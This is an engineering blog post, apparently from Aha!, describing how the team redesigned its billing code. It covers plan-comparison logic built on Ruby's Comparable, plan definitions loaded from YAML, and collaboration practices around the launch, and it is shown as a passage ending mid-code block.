&lt;h4&gt;Not technical debt: Wisdom, beauty, and age&lt;/h4&gt;
&lt;p&gt;At Aha! we think about code in two ways — wisdom and beauty. Code gains wisdom when it&apos;s exposed and adapted to real-world use. Code is beautiful when it is succinct, elegant, and extendable. As architect Christopher Alexander would say, it &quot;has that property which cannot be named.&quot; Codebases also age naturally — code that once existed for a purpose may become irrelevant. When I initially reviewed the existing code, a lot of what appeared to be old age was actually wisdom. It just wasn&apos;t very beautiful.&lt;/p&gt;
&lt;p&gt;An example of this is that we had two different internal structures representing our list plans in addition to our billing provider. Customers can purchase an Aha! Roadmaps subscription, then add-on an Aha! Ideas plan. One of the lists was to represent the values also present in our billing provider. Make sense.&lt;/p&gt;
&lt;p&gt;But why the second whole list with a different set of values for the same items?&lt;/p&gt;
&lt;p&gt;This second list existed so we could resolve future values we didn&apos;t know yet. In some interactions and forms, we needed a way to represent the idea of a plan that would be resolved to a real plan at a future date. We might not know which Roadmaps plan a customer would choose, but when they did choose one, we could associate the right Ideas add-on plan with it. This indicated the need for what has become a very useful part of our new Billing API surface: the ability to resolve the appropriate add-on plan for an existing standalone plan.&lt;/p&gt;
&lt;p&gt;At first glance, this seemingly duplicated set of values might look like a surprising choice. But we made it because there were often situations in our internal tooling where we&apos;d be able to massively simplify the UX by choosing a value that meant &quot;fill this in with the right plan once we know what it is later.&quot; There were other places we computed prices in JavaScript. For these we could simply rearrange the UX to provide the same values from the Ruby on our servers.&lt;/p&gt;
&lt;p&gt;The goal is differentiating wisdom from age and then finding ways to increase beauty. Such wisdom will be especially prevalent in billing systems.&lt;/p&gt;
&lt;h4&gt;When exploration is worth it&lt;/h4&gt;
&lt;p&gt;I had previous experience with our quotes but some challenges included:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Our billing provider — Which API calls did we need to update the amount a customer was billed?&lt;/li&gt;
&lt;li&gt;The nature of the logic that would cause price increases.&lt;/li&gt;
&lt;li&gt;The API surface we truly needed to support.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Before changing any existing logic, my goal was to start building the billing objects we needed to handle the heavy lifting for quotes. I also needed to ensure that we updated our billing provider with the correct information on what to do in any given situation. This amounted to me oscillating between independent work and validating questions with the team. Billing behavior is intricate because many possible operations can occur. And it is stable because we generally want the exact same thing to occur in the same conditions over time. This meant &lt;a href=&quot;https://www.aha.io/roadmapping/guide/agile/what-is-unit-testing&quot;&gt;unit testing&lt;/a&gt; would be valuable.&lt;/p&gt;
&lt;h2&gt;Abstractions with reach&lt;/h2&gt;
&lt;p&gt;The key property of code is how easy it is to change. So the right question is &quot;what kind of change?&quot; The kind of change you need to accommodate is determined by your environment. As you delineate different parts of your code and build connections between these parts, different types of change become easier and harder to introduce.&lt;/p&gt;
&lt;p&gt;An abstraction is good when its underlying rules are simple, hard to vary, and the reach of situations it can grapple with is high. In our transition to a multi-product suite of tools, the environmental changes we need to accommodate are new products and new plans. I suspect this is the case for most billing systems. One of the complexities of our price increase program was around transitions. At given points in time we might need to either increase, retain, or reset the price levels for a given account.&lt;/p&gt;
&lt;p&gt;This meant we needed the ability to compare any plan with any other given plan and determine which one was the &quot;greater&quot; plan. Then when deciding to increase the prices or reason for a plan change, all we have to do is ask if &lt;code&gt;new_plan &gt; old_plan&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When it comes to system design, consider the parts and how are they connected. Here is what a simplistic system composition that can accomplish comparisons looks like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/7bef243f232bf9b42818788b9d81ed93/fully-connected-network.png&quot; alt=&quot;Fully connected network&quot;&gt;&lt;/p&gt;
&lt;p&gt;Each individual plan is stored as its own, fully connected piece of data. Any reasoning the system does is between different plans. If we store them in a big list ordered by ranking, all we need to do is compare positioning in the list. I initially took this approach.&lt;/p&gt;
&lt;p&gt;While breaking this problem down and scoping it out with our product managers, my teammate &lt;a href=&quot;https://www.aha.io/blog/my-name-is-andrew-vit-this-is-why-i-joined-aha&quot;&gt;Andrew Vit&lt;/a&gt; gently coached me down a pathway that lead to a different system composition. Instead of reasoning about each plan as its own independent and fully connected piece of data, what if our comparison logic reasoned about the pieces of a plan instead of the whole plan? What if we ranked the parts of a plan against each other, instead of just the whole plan?&lt;/p&gt;
&lt;p&gt;Each plan consists of:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Product&lt;/li&gt;
&lt;li&gt;Type (standalone or add-on)&lt;/li&gt;
&lt;li&gt;Plan level&lt;/li&gt;
&lt;li&gt;Period length&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We currently have about 40 independent plans. If our transition logic operated against this list of &quot;whole&quot; plans then we&apos;d be able to reason about our 40 plans. The objects we reasoned about were &quot;strongly connected,&quot; meaning we could only reason about an entire plan and not pieces of that plan. However, if we added new plans, we&apos;d have to update our implementation to account for each of the connections between plans.&lt;/p&gt;
&lt;p&gt;Reality is not so discrete. Portions of our system can reason about &quot;hypothetical&quot; plans, and other areas need to deal with partial plan information. We want to be able to easily handle the addition of new products and new kinds of plans. Renegotiating the whole list for each addition is a lot of work.&lt;/p&gt;
&lt;p&gt;What would the reach of our system be if instead of reasoning about whole plans, we subdivided what a plan was and reasoned about them at this finer scale? Here is what the system would look like if designed this way instead:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/78ef9a96f45cd9279ef1e64d7fd00f8d/subdivided-network.png&quot; alt=&quot;Subdivided network&quot;&gt;&lt;/p&gt;
&lt;p&gt;An order of magnitude more plans. Without going into all the periods and product subtrees (this is a simplified graphic), the number of plans the comparison logic can provably reason about is easily over 400. Instead of just being able to reason about the existing plans we have, an implementation approach oriented around the parts of a plan could reason about all other possible plans that could be made using these parts as well as being able to reason about &quot;partial&quot; plans (which is quite convenient for UI interactions). The tradeoff here is this piece of our system can&apos;t recall only the plans we actually use, but we don&apos;t need that here. We already have that elsewhere, which makes this a great tradeoff!&lt;/p&gt;
&lt;p&gt;To implement this we leveraged the &lt;code&gt;Comparable&lt;/code&gt; behavior of Ruby. This code requires minimal, additive changes to support new products and plans because all we need to update is what the parts of a plan are and how they relate.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Billing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  module&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; TransitionRankings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    include&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Comparable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; &amp;#x3C;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(other)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; startup? &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;other.startup?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;startup? &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; other.startup?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      by_type_rank(other) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;or&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        by_product_rank(other) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;or&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        by_period_length(other) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;or&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        by_plan_rank(other) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;or&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Other elements of our system needn&apos;t care about comparisons between plans with all the behavior encapsulated in this one module.&lt;/p&gt;
&lt;p&gt;Adding support for a whole new Aha! Create product means updating the rankings between products from:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; product_rank&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 3&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; product &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :roadmaps&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; product &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :ideas&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; product &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :develop&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; product_rank&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 4&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; product &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :roadmaps&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 3&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; product &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :ideas&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; product &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :develop&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; product &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :create&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Minimal code changes, maximal reach. Throughout the codebase areas that utilize this logic, a common piece of feedback we get during exploratory testing is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I can&apos;t break it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Do what makes sense for your environment&lt;/h2&gt;
&lt;p&gt;I&apos;m going to give some seemingly contradictory advice. Adapt to your environment and don&apos;t blindly follow what you read in a blog post. I just said &quot;don&apos;t hardcode your list of plans&quot; and now I&apos;m going to tell you: we hardcoded them and it was great. We also put all of our plans in a &lt;code&gt;.yml&lt;/code&gt; file stored in our code base. These would all be read in a lazily instantiated hash (or map, for non-Ruby) as &lt;code&gt;Plan&lt;/code&gt; objects accessible through the &lt;code&gt;Billing::Plan.definitions&lt;/code&gt; class method.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; self.definitions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      @definitions &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;||=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; YAML&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.load_file(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;config/billing_plans.yml&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).each_with_object({}) { |(id, defn), hash| hash[id] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Billing&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Plan&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(id, defn) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This made sense for us because:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;These plans rarely change. Once used by a customer, the data representing a plan will never change.&lt;/li&gt;
&lt;li&gt;Storing them in our code allowed us to stop making a large number of network requests to retrieve data that doesn&apos;t change.&lt;/li&gt;
&lt;li&gt;It was useful to store extra pieces of information about our plans we couldn&apos;t easily specify in our billing system but was still valuable to know (like whether it was archived or fixed price).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By reading this data in from a &lt;code&gt;.yml&lt;/code&gt; file into a collection of value objects, we&apos;re able to trivially change our mind on the source of data later in case we needed to start sourcing it from other systems again. My advice about not hardcoding any plan values is limited. The important element to focus on is each region of your system should operate on a single scale. The more popular way of articulating this notion is, &quot;strong encapsulation.&quot; However, I don&apos;t find this advice actually helps me make good decisions on how to structure code because it&apos;s too ambiguous. Focusing on what the parts are, the scale they operate on, and how they&apos;re connected is much more useful.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Plan&lt;/code&gt;s are value objects that operate on the scale of whole, independent plans. Plan comparison logic, by contrast, operates on the individual attributes of the given plans. Although each module is combined in the whole of the billing system, they make sense maintaining independent (or encapsulated) identities because they operate at different scales. The subdivision of the logic inside our comparison logic is what gives it so much reach.&lt;/p&gt;
&lt;p&gt;Can we provide more reach at the larger scale of our value objects too? As long as we&apos;re providing linkage to entire plan objects — yes, it fits!&lt;/p&gt;
&lt;p&gt;We were able to provide a single, larger-scale object that would let any part of our system easily go from some local value into the correct plan.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Billing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Plan&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; self.from&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(model_or_val)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      case&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; model_or_val&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      when&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Billing&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Plan&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        model_or_val&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      when&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; String&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        from_billing_code(model_or_val)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      when&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Integer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        from_enum_value(model_or_val)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # etc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means places in our system that previously couldn&apos;t directly communicate could now reason together apples-to-apples. From there, a bevy of methods emerged, which made it easy to get from any plan you start with to any other desired plan.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; self.relative_addon_plan&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(primary_plan, addon_sentinel)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; self.switch_frequency&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(plan, desired_frequency)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; self.for_product&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(products)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # etc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The key is to reason with our &lt;code&gt;Plan&lt;/code&gt; objects, rather than any specific hardcoded code or data, which was really a Plan by some other name.&lt;/p&gt;
&lt;h2&gt;Launch fundamentals&lt;/h2&gt;
&lt;p&gt;Now that we&apos;ve dug into the environment and looked at some code written to represent it, let&apos;s talk about the process around how to arrive at the right™ code. This is the hard part. You have to commit to putting in the emotional labor to produce and then let go of your work. Then ensure the necessary communication between the elements of your team and organization is taking place. If you lack either of these efforts, you won&apos;t have a smooth launch.&lt;/p&gt;
&lt;h3&gt;How to produce perfect moments&lt;/h3&gt;
&lt;p&gt;When you&apos;re feeling internal friction and resistance while coding, it may mean there is something in your code you need to fix. Or maybe you don&apos;t understand your domain deeply enough and you need to go learn more. Great code comes from humility and error correction along these two dimensions.&lt;/p&gt;
&lt;p&gt;There&apos;s a rare satisfaction that sometimes comes with writing code — when what you imagined is perfectly reflected on the screen and functions just as you planned. When your teammates are so in sync they are able to provide just the right collaboration and refinement needed to bring big ideas to life. This is how you produce &lt;a href=&quot;https://www.aha.io/company/the-responsive-method&quot;&gt;perfect moments&lt;/a&gt;. The existence of these perfect moments is how you know you&apos;ve correctly identified, organized, and represented your domain in code. New and useful applications of your code unfold as others discover what you have and bring their own perspective.&lt;/p&gt;
&lt;p&gt;My trick to produce them involves investing, refining, and embracing.&lt;/p&gt;
&lt;h4&gt;Invest&lt;/h4&gt;
&lt;p&gt;Get to a point in your work where you&apos;re convinced the code simply can&apos;t be written any other way. Be honest with yourself about when this is, and once you&apos;ve hit it, trust it. This is hard to do because you will need to endure periods of high uncertainty.&lt;/p&gt;
&lt;p&gt;When grappling with quotes, I ended up producing two classes. Heavily tested and ready for use, they provided the API surface necessary to power our quotes. This meant they should theoretically support what we needed everywhere else, right? I held a small team meeting to walk through what these classes were and how they could be used.&lt;/p&gt;
&lt;p&gt;As our efforts ran in parallel on different pieces, I began to get worried. Nobody was using the classes I&apos;d taken the time to build out. Had I gotten it wrong? Had I wasted time and blocked others to produce enabling code they weren&apos;t even going to need?&lt;/p&gt;
&lt;p&gt;I hopped on a call with a teammate a week later. They walked through the code they built out and showed me a couple of places they repeated a pattern:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt; products &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;   # plan, number of seats, period length&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;   # plan, number of seats, period length&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;   # plan, number of seats, period length&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt; info &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; do_things_with_products(products)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;They stored information about each product on an account and had areas of code that looked across all those areas to arrive at decisions. I started to get excited because we have classes for those. Our ensuing conversation turned into the descriptions at the top of the classes.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Billing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # = Billing Bundle&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  #&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # The Billing Bundle houses and aggregates the concrete, instantiated values which describe an account&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # for a given period of time. It houses and aggregates Billing Sub Periods, which represent the individual&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # products, plans, seats and price levels an account may have.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # = Billing Sub Period&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  #&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # Billing Sub Period relates a product to a pricing strategy (a Billing::Plan,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # Billing::Subscription, or other plan-like object) to a range of time.&lt;/span&gt;&lt;/span&gt;
